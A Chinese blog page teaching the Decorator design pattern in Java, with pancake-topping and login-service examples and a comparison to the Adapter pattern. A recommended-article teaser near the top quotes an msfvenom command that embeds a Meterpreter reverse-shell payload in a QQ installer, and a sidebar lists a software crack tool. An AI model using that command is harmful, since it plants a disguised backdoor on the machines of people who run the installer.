设计模式之装饰者模式

msfconsole捆绑木马 捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面. 阅读详情

定义

    ​    ​装饰者模式(Decorator Pattern)是指在不改变原有对象的基础之上,将功能附加到对象上,提供了比继承更有弹性的替代方案(扩展原有对象的功能),属于结构型模式。


适用场景

1、用于扩展一个类的功能或给一个类添加附加职责。 

2、动态的给一个对象添加功能,这些功能可以再动态的撤销。


实例

说太多的概念都太过于苍白,我喜欢直接上代码

我们用装饰者模式写下买煎饼加鸡蛋加烤肠这个场景,可以根据客户要求任意加

创建一个煎饼的抽象类

public abstract class Battercake {    protected abstract String getMsg();    protected abstract int getPrice();}

创建一个基本的煎饼

public class BaseBattercake extends Battercake {    protected String getMsg(){        return "煎饼";    }​    public int getPrice(){        return 5;    }}

创建一个扩展套餐的抽象装饰者类

public abstract class BattercakeDecorator extends Battercake {​    //静态代理,委派    private Battercake battercake;​    public BattercakeDecorator(Battercake battercake) {        this.battercake = battercake;    }​    protected abstract void doSomething();​    @Override    protected String getMsg() {        return this.battercake.getMsg();    }​    @Override    protected int getPrice() {        return this.battercake.getPrice();    }}

创建一个鸡蛋的装饰者类

public class EggDecorator extends BattercakeDecorator {    public EggDecorator(Battercake battercake) {        super(battercake);    }​    protected void doSomething() {​    }​    @Override    protected String getMsg() {        return super.getMsg() + "+1个鸡蛋";    }​    @Override    protected int getPrice() {        return super.getPrice() + 1;    }}

 

创建一个烤肠的装饰者类

public class SausageDecorator extends BattercakeDecorator {    public SausageDecorator(Battercake battercake) {        super(battercake);    }​    protected void doSomething() {​    }​    @Override    protected String getMsg() {        return super.getMsg() + "+1根香肠";    }​    @Override    protected int getPrice() {        return super.getPrice() + 2;    }}

客户端测试类

Battercake battercake;        //路边摊买一个煎饼        battercake = new BaseBattercake();        //煎饼有点小,想再加一个鸡蛋        battercake = new EggDecorator(battercake)                 //很饿,再加根香肠        battercake = new SausageDecorator(battercake);              System.out.println(battercake.getMsg() + ",总价:" + battercake.getPrice());

看了代码咱们有点熟悉,感觉有一种似曾相识的感觉,是的,你们是不是想到了适配器模式,感觉他们很像,我们之前写过一个适配器模式的例子,我们今天用装饰者模式改下

我们重新写一个类继承原来的接口

public interface ISiginForThirdService extends ISigninService {​    /**     * QQ登录     * @param id     * @return     */    ResultMsg loginForQQ(String id);​    /**     * 微信登录     * @param id     * @return     */    ResultMsg loginForWechat(String id);​    /**     * 记住登录状态后自动登录     * @param token     * @return     */    ResultMsg loginForToken(String token);​    /**     * 手机号登录     * @param telphone     * @param code     * @return     */    ResultMsg loginForTelphone(String telphone, String code);​    /**     * 注册后自动登录     * @param username     * @param passport     * @return     */    ResultMsg loginForRegist(String username, String passport);}

创建实现类

public class SiginForThirdService implements ISiginForThirdService {​    private ISigninService signinService;​    public SiginForThirdService(ISigninService signinService) {        this.signinService = signinService;    }​    public ResultMsg regist(String username, String password) {        return signinService.regist(username,password);    }​    public ResultMsg login(String username, String password) {        return signinService.login(username,password);    }​    public ResultMsg loginForQQ(String id) {        return null;    }​    public ResultMsg loginForWechat(String id) {        return null;    }​    public ResultMsg loginForToken(String token) {        return null;    }​    public ResultMsg loginForTelphone(String telphone, String code) {        return null;    }​    public ResultMsg loginForRegist(String username, String passport) {        return null;    }}​

客户端测试类

public static void main(String[] args) {​        //满足一个is-a        ISiginForThirdService siginForThirdService = new SiginForThirdService(new SigninService());        siginForThirdService.loginForQQ("sfb");​    }

    ​    ​装饰者模式最本质的特征是讲原有类的附加功能抽离出来,简化原有类的逻辑。通过这样两个案例,我们可以总结出来,其实抽象的装饰者是可有可无的,具体可以根据业务模型来选择。

 

装饰者模式和适配器模式对比

    ​    ​装饰者和适配器模式都是包装模式(Wrapper Pattern),装饰者也是一种特殊的代理模式

 装饰者模式适配器模式
形式是一种非常特别的适配器模式没有层级关系,装饰器模式有层级关系
定义

装饰者和被装饰者都实现同一个接口,主要目的是为了扩展之后依旧保留 OOP 关系

适配器和被适配者没有必然的联系,通常是采用继承或代理的形式进行包装

关系满足is-a的关系满足has-a的关系
功能注重覆盖、扩展注重兼容、转换
设计前置考虑后置考虑

装饰者模式优点

1、装饰者是继承的有力补充,比继承灵活,不改变原有对象的情况下动态地给一个对象扩展功能,即插即用。 

2、通过使用不同装饰类以及这些装饰类的排列组合,可以实现不同效果。 

3、装饰者完全遵守开闭原则。


缺点

1、会出现更多的代码,更多的类,增加程序复杂性。 

2、动态装饰时,多层装饰时会更复杂。

 

​ok,装饰者模式先聊到这里吧​!

RSA算法详解:万字文章详解RSA的加密与解密 为了彻彻底底的研究明白RSA算法,真的是。。煞(lei)费(si)苦(wo)心(le),首先我希望自己前前后后、彻彻底底的琢磨明白,其次我也希望我把他分享出来以后,大家都能读得懂,这篇文章真的是我迄今为止写的又臭又长的一篇文章了,但是我能保证的是,你读完了以后,绝对不会再问RSA是啥玩意儿了。。 阅读详情

相关推荐

Truncated SVD for faster dection

Truncated SVD方法最先被提出在《Fast R-CNN》论文中,用于降低全连接层的运算量,提升模型的速度。在卷积神经网络的分类任务中,FC层的运算速度远远大于CONV层,而在Fast R-CNN的目标检测任务中,大多数的运算时间发生在FC 的运算中,是因为针对每张输入图片,只进行一次卷积操作,而要对生成的Region Proposal,大致两千个,进行全连接操作进行分类与Bounding...

weixin_35747666的博客 1535

装饰器模式(Decorator Pattern)

装饰器模式 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其结构。这种类型的设计模式属于结构型模式,它是作为现有的类的一个包装。 这种模式创建了一个装饰类,用来包装原有的类,并在保持类方法签名完整性的前提下,提供了额外的功能。 我们通过下面的实例来演示装饰器模式的用法。其中,我们将把一个形状装饰上不同的颜色,同时又不改变形状类。

FH的博客 1000

禅道18.3版本二开避坑指南:手把手教你扩展自定义报表功能

本文详细介绍了禅道18.3版本的二次开发实践,重点讲解如何扩展自定义报表功能。通过zentaoPHP框架的深度定制,从开发环境搭建到核心数据模型扩展,再到可视化配置和性能优化,手把手教你构建多维报表分析系统,满足企业级项目管理需求。

day7的博客 370

设计模式第7讲——装饰者模式(Decorator)

装饰者模式是一种结构型设计模式。一、什么是装饰者模式 二、角色组成 三、优缺点 四、应用场景 4.1 应用实例 4.2 java实例 五、代码实现5.0 UML类图5.1 Hero(英雄-抽象组件)5.2 BlindMonk(盲僧-具体构件)5.3 SkillDecorator(技能装饰-抽象装饰器)5.4 QDecorator(Q技能-具体装饰器)5.5 WDecorator(W技能-具体装饰器)5.6 EDecorator(E技能-具体装饰器)5.7

让~学习~成为一种习惯(橡 皮 人の技术博客) 6797

说一下Intel Fortran 编译器经典版ifort和新一代ifx

摘要:ifort是Intel开发的传统Fortran编译器,以稳定性和遗留代码兼容性著称,现已进入维护模式。ifx则是基于LLVM架构的新一代Fortran编译器,具有更好的性能优化、更快的编译速度,并支持最新Fortran标准和GPU加速。英特尔计划逐步用ifx取代ifort,前者将成为未来主力发展的产品线。两者的核心区别在于技术基础(传统vs.现代化LLVM)和功能支持(维护状态vs.持续更新)。

luohaitao的专栏 1347

axi ps读写pl_PL读写DDR:Datamover能干什么

最近发现工程项目中一直在用AXI-DMA。这玩意儿搬数据倒是没问题,就是用axi-lite配置起来非常反人类。。。简单的办法其实是用datamover ip核。这个ip核能干嘛呢。准备写个文章解析一下。由于好多feature没用过,所以仅仅看文档可能理解有误,欢迎指出错误。首先扫个盲:MM2S指的是Memory map to stream. 读DDR. S2MM指的是steam to memory...

weixin_35908791的博客 1596

23种设计模式——装饰者模式

文章目录23种设计模式——装饰者模式1、装饰者模式概述2、装饰者模式的结构3、装饰者模式的实现4、装饰者模式的应用场景 23种设计模式——装饰者模式 1、装饰者模式概述 背景 有些人为了早上多睡一会,就会用方便的方式解决早餐问题。有些人早餐可能会吃煎饼,煎饼中可以加鸡蛋,也可以加香肠,但是不管怎么“加码”,都还是一个煎饼。在现实生活中,常常需要对现有产品增加新的功能或美化其外观,如房子装修、相片加相框、咖啡加调料等,都是装饰器模式。 装饰者模式的定义 装饰者(Decorator)模式的定义:指在不改

万里顾一程的博客 5291

Vivado里LDPC IP核怎么配?手把手教你从6144bit数据到完整参数设置

本文详细介绍了在Vivado中配置LDPC IP核的完整流程,从6144bit数据的参数计算到实际IP核设置。通过分析基本图选择、扩展因子计算和移位参数确定等关键步骤,帮助工程师高效完成LDPC编译码的硬件实现,并提供了时序控制、仿真验证和性能优化的实用技巧。

weixin_30352645的博客 517

设计模式之【装饰者模式】,实现“穿衣打扮”自由原来这么简单

装饰者模式(Decorator Pattern),也称为包装模式(Wrapper Pattern)、装饰器模式,是指在不改变原有对象的基础之上,将功能附加到对象上,提供了比继承更有弹性的替代方案(扩展原有对象的功能),属于结构型模式。在 GoF 的《设计模式》一书中,对装饰者模式是这样理解的:动态地给一个对象添加一些额外的职责,就增加功能来说,装饰者模式相比生成子类更灵活。装饰者模式的核心是扩展功能。使用装饰者模式可以透明且动态地扩展类的功能。装饰器模式主要解决。

秃了也弱了 2331

【虚幻引擎UE】UE5 可编辑动态样条线轨迹及AI跟随路径移动(含工程源码)

【虚幻引擎UE】可编辑动态样条线轨迹及AI跟随路径移动

灵境引路人 6226

hadoop 切片机制详解

hadoop切片机制详解

congge 1万+

设计模式-装饰者模式(Decorator)

装饰者模式(Decorator Pattern)是一种结构型设计模式,它的定义是在不改变原有对象结构的基础上,动态地给该对象增加一些职责(即增加其额外功能)。这种模式允许向一个现有的对象添加新的功能,同时又不改变其结构。它是继承的一种替代方案,可以实现在运行时动态地扩展对象的行为,而无需修改原有代码。

m0_51176516的博客 2109

CE电流法测试中的dBμV负值解析

传导发射(CE)电流法测试中出现的dBμV负值现象表明被测设备干扰电平低于1μV参考基准。这源于对数计算特性(小于1μV的电压转换后为负值)、设备优良的EMC设计(如滤波效果显著)及测试环境的影响(LISN隔离、屏蔽室低噪声)。负值虽不代表实际负电压,但反映干扰水平优于标准限值,为系统集成预留电磁裕度。工程应用中需结合设备灵敏度、环境背景噪声等因素综合分析,避免误判,这类数据可用于评估EMI设计冗余度。

硬核科技 298

Java设计模式之装饰者模式

Java设计模式之装饰者模式目录一、定义二、具体实现三、使用场景四、优缺点 目录 装饰者模式是结构性设计模式之一,其在不必改变类文件及不使用继承的情况下,动态地扩展一个对象的功能。它通过创建一个包装对象(即装饰)来包裹真实的对象。 一、定义 动态地给一个对象添加一些额外的职责,就增加功能来说,装饰模式比生成子类更加灵活。 装饰着模式的结构图: 如上结构图所示,装饰者模式中有如下角色: Component:可以是接口或者是抽象类,被装饰的最原始的对象。 ConcreteComponent:组件具体实现类。

红日 6561

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

装饰设计模式

装饰设计模式 ** 说明:装饰设计模式,可以在原有技能的基础上,新增技能,降低继承所带来的耦合性 ** 示例:通过模拟Java官方API中的FileWriter与BufferedWriter来模拟装饰设计模式 第一步:定义接口 public abstract class Writer2 { public abstract void write(); } 第二步:定义过时的类 public...

哈 1034

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

设计模式——装饰模式详解

装饰模式动态地给一个对象添加一些额外的功能,相对于继承的方式,更加灵活。 装饰模式经常被误认为是代理模式。装饰模式是以对客户透明的方式扩展对象的功能,是继承关系的一个替代方案。而代理模式则是给一个对象提供一个代理对象,并由代理对象来控制原有对象的引用。 前者重在增加功能,后者重在对代理对象施加控制,不是对对象本身功能的增强。...

关于Android开发的一些技术点总结 ╮( ̄▽ ̄”)╭ 1万+

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

设计模式之装饰模式

本文介绍了装饰模式的理论与实现。装饰模式能动态地为对象添加职责,比继承更灵活。文章首先阐述了装饰模式的结构,包含抽象构件、具体构件、抽象装饰类和具体装饰类4个角色,并给出了UML类图。然后介绍了透明和半透明两种装饰模式的区别,以及省略抽象装饰类的简化方式。最后通过Java代码示例演示了透明和半透明装饰模式的实现,分别以GUI组件添加滚动条和图形添加阴影效果为例。装饰模式适用于需要动态扩展对象功能且避免继承导致类爆炸的场景,但会增加系统复杂度。完整代码已上传至GitHub仓库。

C2961034922的博客 983

彻底搞懂设计模式DesignPattern-装饰者模式

装饰者模式 定义 装饰者模式: 动态的将新功能附加到对象上。在对象功能扩展方面,它比继承更有弹性,装饰者模式也体现了开闭原则(ocp) 这里提到的动态的将新功能附加到对象和ocp原则,在后面的应用实例上会以代码的形式体现,请同学们注意体会。 装饰者模式原理 装饰者模式就像打包一个快递 主体: 比如:陶瓷、衣服 (Component) // 被装饰者 包装:比如:报纸填充、塑料泡沫、纸板、木板(Decorator) Component 主体:比如类似前面的Drink ConcreteComponent和

Ping 285

设计模式之装饰器模式

设计模式之装饰器模式

weixin_61492871的博客 1209

设计模式之装饰器设计模式/包装设计模式

给对象增加功能,一般两种方式,继承或关联组合,将一个类的对象嵌入另一个对象中,由另一个对象来决定是否调用嵌入对象的行为来增强功能,这个就是装饰器模式,比继承模式更加灵活。也叫包装设计模式,属于结构型模式,它是作为现有的类的一个包装,允许向一个现有的对象添加新的功能,同时又不改变其结构。JDK源码里面应用最多的就是IO流,大量使用装饰器设计模式。以动态、透明的方式给单个对象添加职责,但又能不改变其结构。角色(装饰者和被装饰者有相同的超类Component)装饰器设计模式(Decorator Pattern)

2302_76363587的博客 1099

java设计模式之装饰器设计模式

装饰器设计模式是一种结构型设计模式,它允许动态地将行为添加到对象中,而无需在对象的类中使用子类化。它允许您通过将对象封装在一个具有新行为的对象中来动态地修改对象的行为。 这种模式是基于组合的思想,而不是继承。 可动态地将责任附加到对象上。若要扩展功能,装饰者提供了比继承更有弹性的替代方案。

荷逸的博客 1041

装饰者设计模式(Decorator)、装饰者设计模式在 FilterInputStream 中的应用

1. 概述 1.1 什么是装饰设计模式? 假如现在有一块蛋糕,涂上奶油,就是奶油蛋糕,加上水果就是水果奶油蛋糕,加上生日快乐四个字就是生日蛋糕。 奶油蛋糕,水果奶油蛋糕,生日蛋糕其核心都是蛋糕,经过装饰之后成为目的更明确的蛋糕,更能解决问题。 像这种不断为对象添加装饰的模式就叫 Decorator 模式,Decorator 指的是装饰物。 1.2 装饰者设计模式的角色 核心角色(Componen...

学习笔记 1012

java设计模式——装饰者模式

目录一、装饰者模式的定义与类型二、装饰者模式的适用场景三、装饰者模式的优点四、装饰者模式的缺点五、装饰者模式相关的设计模式六、普通示例:七、普通示例演进,使用装饰者模式示例: 一、装饰者模式的定义与类型 1、定义 在不改变原有对象的基础之上,将功能附加到对象上 提供了比继承更具有弹性的替代方法(扩展原有对象功能) 2、类型 结构型 二、装饰者模式的适用场景 扩展一个类的功能或给一个类添加附加职责 动态的给一个对象添加功能,这些功能可以在动态的撤销 三、装饰者模式的优点 继承的有力补充,比继承灵

小志的博客 1047

设计模式---装饰模式(DesignPattern_Decorator)

摘录自:设计模式与游戏完美开发 十年磨一剑,作者将设计模式理论巧妙地融入到实践中,以一个游戏的完整实现呈现设计模式的应用及经验的传承 《轩辕剑》之父——蔡明宏、资深游戏制作人——李佳泽、Product Evangelist at Unity Technologies——Kelvin Lo、信仁软件设计创办人—— 赖信仁、资深3D游戏美术——刘明恺 联合推荐全书采用了整合...

su9257的博客 117

装饰者设计模式

装饰者模式的定义 装饰者模式:动态的 将新功能 附加到对象身上 。在对象功能扩展方面,它比继承更加有弹性,装饰者模式也体现了开闭原则(OCP) 代码实现 现在模仿一个场景哈,什么场景呢?就是取咖啡店点咖啡这么一个场景 我们先定义一个抽象类,用来描述咖啡和价格 package com.java.springtest.decorator; /** * @author Woo_home * @...

Woo_home的博客 1451

用装饰器设计模式装饰

装饰图案是广泛使用的结构图案之一。 此模式在运行时动态更改对象的功能,而不会影响对象的现有功能。 简而言之,此模式通过包装将附加功能添加到对象。 问题陈述: 想像一下我们有一个比萨饼,该比萨饼已经用番茄和奶酪烤制的情况。 之后,您只需要记住,您需要根据客户的选择添加一些其他浇头。 因此,您需要在旅途中再添加一些配料,例如鸡肉和胡椒粉。 意图: 动态地从对象中添加或删除其他功能或职责...

最佳 Java 编程 218
上一篇: 设计模式之适配器模式
下一篇: 设计模式之观察者模式
JackRenEngineer
博客等级 码龄10年 37粉丝 120原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值